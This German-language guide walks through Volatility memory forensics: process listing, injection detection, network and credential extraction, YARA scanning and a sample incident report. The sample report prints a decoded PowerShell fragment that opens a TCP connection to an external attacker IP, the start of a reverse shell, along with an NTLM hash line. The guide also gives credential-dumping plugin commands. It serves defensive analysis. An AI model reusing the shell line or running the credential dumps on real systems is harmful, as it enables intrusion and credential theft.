Was macht Analyse von Arbeitsspeicher-Dumps mit Volatility?
Wann einsetzen
- Der RAM eines kompromittierten Systems wurde erfasst und benötigt forensische Analyse auf Schadsoftware-Artefakte
- Erkennung von dateiloser Schadsoftware, die nur im Arbeitsspeicher existiert und keine dauerhaften Dateien auf der Festplatte hinterlässt
- Extraktion von Verschlüsselungsschlüsseln, Passwörtern oder entschlüsselten Konfigurationen aus Prozessspeichern
- Identifikation von Prozessinjektion, DLL-Injektion oder Process Hollowing in einem kompromittierten System
- Analyse von Rootkit-Aktivitäten, die sich vor standardmäßigen datenträgerbasierten forensischen Tools verstecken
Nicht verwenden für die Analyse von Datenträgerabbildern; verwenden Sie hierfür Autopsy, FTK oder Sleuth Kit.
Voraussetzungen
- Volatility 3 installiert (
pip install volatility3) mit Symboltabellen für das Zielbetriebssystem - Speicherabbilddatei vom Zielsystem erfasst (mit WinPmem, LiME oder DumpIt)
- Kenntnis der Quell-OS-Version für korrekte Profil-/Symbolauswahl
- Ausreichend Speicherplatz (Speicherabbilder können 4-64 GB groß sein)
- YARA-Regeln zum Scannen des Speichers auf bekannte Schadsoftware-Signaturen
- Strings-Dienstprogramm zum Extrahieren von lesbaren Zeichenketten aus Speicherbereichen
Arbeitsablauf
Schritt 1: Identifizieren des Speicherabbild-Profils
Bestimmen Sie Betriebssystem und Version aus dem Speicherabbild:
# Volatility 3: Automatische OS-Erkennung
vol3 -f memory.dmp windows.info
# Verfügbare Plugins auflisten
vol3 -f memory.dmp --help
# Falls Symbole benötigt werden, herunterladen von:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Für Volatility 2 (Legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Schritt 2: Auflisten laufender Prozesse
Alle Prozesse auflisten und verdächtige Einträge identifizieren:
# Alle Prozesse auflisten
vol3 -f memory.dmp windows.pslist
# Prozessbaum (Über-/Unterordnungsbeziehungen)
vol3 -f memory.dmp windows.pstree
# Nach versteckten/ausgekoppelten Prozessen scannen (Rootkit-Erkennung)
vol3 -f memory.dmp windows.psscan
# pslist mit psscan vergleichen, um versteckte Prozesse zu finden
# Prozesse, die in psscan, aber nicht in pslist vorkommen, sind möglicherweise durch Rootkits versteckt
# Auf Process Hollowing prüfen
vol3 -f memory.dmp windows.pslist --dump
# Dann überprüfen, ob die extrahierte EXE mit der erwarteten Datei auf der Festplatte übereinstimmt
Indikatoren für verdächtige Prozesse:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe, nicht von services.exe gestartet (falscher Elternprozess)
- csrss.exe/lsass.exe mit ungewöhnlichem Elternprozess
- Mehrere Instanzen von lsass.exe (es sollte nur eine geben)
- Prozesse mit falsch geschriebenen Namen (scvhost.exe, lssas.exe)
- cmd.exe oder powershell.exe gestartet von WINWORD.EXE oder Browser
- Prozesse, die von ungewöhnlichen Pfaden ausgeführt werden (%TEMP%, %APPDATA%)
- Prozesse ohne Eltern (verwaist – Elternprozess beendet)
Schritt 3: Erkennung bösartiger Code-Injektion
Scannen Sie nach injiziertem Code und Process Hollowing:
# Injizierten Code in Prozessen erkennen (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind sucht nach:
# - Speicherbereichen mit PAGE_EXECUTE_READWRITE-Schutz
# - Speicherbereichen mit PE-Headern (MZ/PE-Signatur)
# - VAD (Virtual Address Descriptor)-Anomalien
# Injizierte Speicherbereiche zur Analyse extrahieren
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# Geladene DLLs pro Prozess auflisten
vol3 -f memory.dmp windows.dlllist --pid 2184
# Ausgehöhlte Prozesse durch Vergleich des zugeordneten Image mit der Festplatte erkennen
vol3 -f memory.dmp windows.hollowfind
# Nach geladenen Treibern scannen (potenzielle Rootkit-Treiber)
vol3 -f memory.dmp windows.driverscan
# Kernelmodule auflisten
vol3 -f memory.dmp windows.modules
Schritt 4: Netzwerkverbindungen analysieren
Aktive und geschlossene Netzwerkverbindungen extrahieren:
# Alle Netzwerkverbindungen auflisten (aktiv und lauschend)
vol3 -f memory.dmp windows.netscan
# Ausgabespalten: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Nach etablierten Verbindungen zu externen IPs filtern
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# Für ältere Windows-Versionen (XP/2003):
vol3 -f memory.dmp windows.netstat
# PIDs mit Prozessliste abgleichen
# Verdächtig: svchost.exe verbunden mit externer IP auf nicht standardmäßigem Port
# Verdächtig: notepad.exe oder calc.exe mit Netzwerkverbindungen
Schritt 5: Artefakte und Anmeldeinformationen extrahieren
Sensible Daten aus dem Speicher wiederherstellen:
# Prozessspeicher für eine bestimmte PID extrahieren
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Befehlszeilenverlauf extrahieren
vol3 -f memory.dmp windows.cmdline
# Umgebungsvariablen extrahieren
vol3 -f memory.dmp windows.envars --pid 2184
# Registry-Analyse (Run-Schlüssel für Persistenz extrahieren)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Gehashte/Zwischengespeicherte Anmeldeinformationen extrahieren
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Zwischenablage-Inhalte extrahieren
vol3 -f memory.dmp windows.clipboard
# Dateien aus dem Speicher extrahieren
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Schritt 6: Speicher mit YARA-Regeln scannen
YARA-Signaturen anwenden, um bekannte Schadsoftware im Speicher zu erkennen:
# Gesamten Speicherdump mit YARA-Regeln scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Spezifischen Prozessspeicher scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Integrierter YARA-Scan auf häufige Muster
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Nach Verschlüsselungsschlüsselmaterial scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Schritt 7: Zeitachse und Berichtserstellung
Erstellen Sie eine Analyse-Zeitachse und fassen Sie die Ergebnisse zusammen:
# Umfassende Zeitachse erstellen
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Zeitachse umfasst:
# - Prozesserstellungs-/Beendigungszeiten
# - Zeitstempel von Netzwerkverbindungen
# - Registry-Änderungszeiten
# - Dateizugriffszeiten
# Prozessliste für Berichte exportieren
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Netzwerkverbindungen exportieren
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Schlüsselkonzepte
| Begriff | Definition |
|---|---|
| Speicherforensik | Analyse des flüchtigen Arbeitsspeichers (RAM), um laufende Prozesse, Netzwerkverbindungen und speicherresidente Artefakte zu identifizieren, die möglicherweise nicht auf der Festplatte existieren |
| Process Hollowing | Malware-Technik, bei der ein legitimer Prozess im angehaltenen Zustand erstellt, dessen Speicher durch bösartigen Code ersetzt und dann die Ausführung wieder aufgenommen wird |
| Malfind | Volatility-Plugin zur Erkennung von injiziertem Code durch Identifizierung von Speicherbereichen mit ausführbaren Berechtigungen und PE-Headern in Nicht-Image-VADs |
| VAD (Virtual Address Descriptor) | Windows-Kernelstruktur, die einem Prozess zugewiesene Speicherbereiche verfolgt; Anomalien in VADs weisen auf Injektion oder Hollowing hin |
| EPROCESS | Windows-Kernelstruktur, die einen Prozess repräsentiert; Rootkits entkoppeln EPROCESS-Einträge, um Prozesse vor Standardtools zu verstecken |
| Pool-Tag-Scanning | Speicherforensik-Technik, die nach Kernel-Objekt-Pool-Tags sucht, um Objekte (Prozesse, Dateien, Verbindungen) auch dann zu finden, wenn sie entkoppelt wurden |
| Dateilose Malware | Schadsoftware, die vollständig im Arbeitsspeicher operiert, ohne Dateien auf der Festplatte zu erstellen; nur durch Speicherforensik erkennbar |
Werkzeuge und Systeme
- Volatility 3: Open-Source-Speicherforensik-Framework mit Plugin-Architektur zur Analyse von Windows-, Linux- und macOS-Speicherdumps
- WinPmem: Speichererfassungstool für Windows-Systeme, das rohe Speicherabbilder für die Offline-Analyse erstellt
- LiME (Linux Memory Extractor): Ladbares Kernelmodul zur Erfassung von Linux-Systemspeicherabbildern
- Rekall: Alternatives Speicherforensik-Framework mit einzigartigen Analysefähigkeiten (eingestellt, aber immer noch nützlich)
- MemProcFS: Speicherprozess-Dateisystem, das das Einhängen von Speicherabbildern als Dateisysteme für eine intuitive Analyse ermöglicht
Häufige Szenarien
Szenario: Erkennung von dateiloser Malware nach EDR-Warnung
Kontext: EDR hat verdächtige PowerShell-Aktivität erkannt, aber der Angreifer hat Datenträger-Artefakte bereinigt. Ein Speicherabbild wurde erfasst, bevor das System neu gestartet wurde. Die Analyse muss die Malware, ihren Persistenzmechanismus und etwaige laterale Bewegung identifizieren.
Vorgehen:
- Führen Sie
windows.pstreeaus, um die Prozesskette zu identifizieren (welcher Prozess hat PowerShell gestartet) - Führen Sie
windows.malfindaus, um injizierten Code in laufenden Prozessen zu erkennen - Extrahieren Sie den verdächtigen Prozessspeicher und extrahieren Sie Zeichenketten für C2-URLs
- Führen Sie
windows.netscanaus, um Netzwerkverbindungen von den kompromittierten Prozessen zu identifizieren - Führen Sie
windows.cmdlineaus, um zu sehen, welche Befehle PowerShell ausgeführt hat - Scannen Sie den extrahierten Prozessspeicher mit YARA-Regeln auf bekannte Schadsoftware-Familien
- Extrahieren Sie Anmeldeinformationen mit
hashdumpundlsadump, um das Risiko lateraler Bewegung zu bewerten
Fallstricke:
- Verwendung der falschen Symboltabellen für die OS-Version (führt zu Plugin-Fehlern oder falschen Ergebnissen)
- Nicht-Vergleich von
pslistvs.psscan-Ausgabe (übersehen von Rootkit-versteckten Prozessen) - Ignorieren legitimer Prozesse, in die injiziert wurde (Fokus auf malfind-Ergebnisse, nicht nur auf Prozessnamen)
- Nicht-Extrahieren des vollständigen Prozessspeichers vor Abschluss der Analyse (Strings aus dem Prozessdump können zusätzliche IOCs offenbaren)
Ausgabeformat
SPEICHERFORENSIK-ANALYSEBERICHT
===================================
Dump-Datei: memory.dmp
Dump-Größe: 16 GB
OS-Version: Windows 10 21H2 (Build 19044)
Erfassungstool: WinPmem 4.0
Erfassungszeit: 2025-09-15 14:35:00 UTC
VERDÄCHTIGE PROZESSE
PID PPID Name Pfad Anomalie
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Falscher Pfad
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Kind von gefälschtem svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Von PowerShell gestartet
CODE-INJEKTION ERKANNT (malfind)
PID 852 (explorer.exe):
Adresse: 0x00400000 Größe: 98304 Schutz: PAGE_EXECUTE_READWRITE
Header: MZ (eingebettetes PE erkannt)
SHA-256 des Dump: abc123def456...
NETZWERKVERBINDUNGEN
PID Prozess Lokal Extern Status
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRAHIERTE ANMELDEINFORMATIONEN
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
BEFEHLSZEILENVERLAUF
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decodiert: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA-TREFFER
PID 2184: Regel CobaltStrike_Beacon { gefunden bei 0x00401200 }
ZEITACHSE
14:10:00 svchost.exe (PID 2184) erstellt aus C:\Users\Admin\AppData\Temp\
14:10:05 Netzwerkverbindung zu 185.220.101.42:443 hergestellt
14:12:30 powershell.exe (PID 4012) von svchost.exe gestartet
14:15:00 Code-Injektion in explorer.exe (PID 852) erkannt
14:20:00 Anmeldeinformations-Dump aus LSASS-Prozess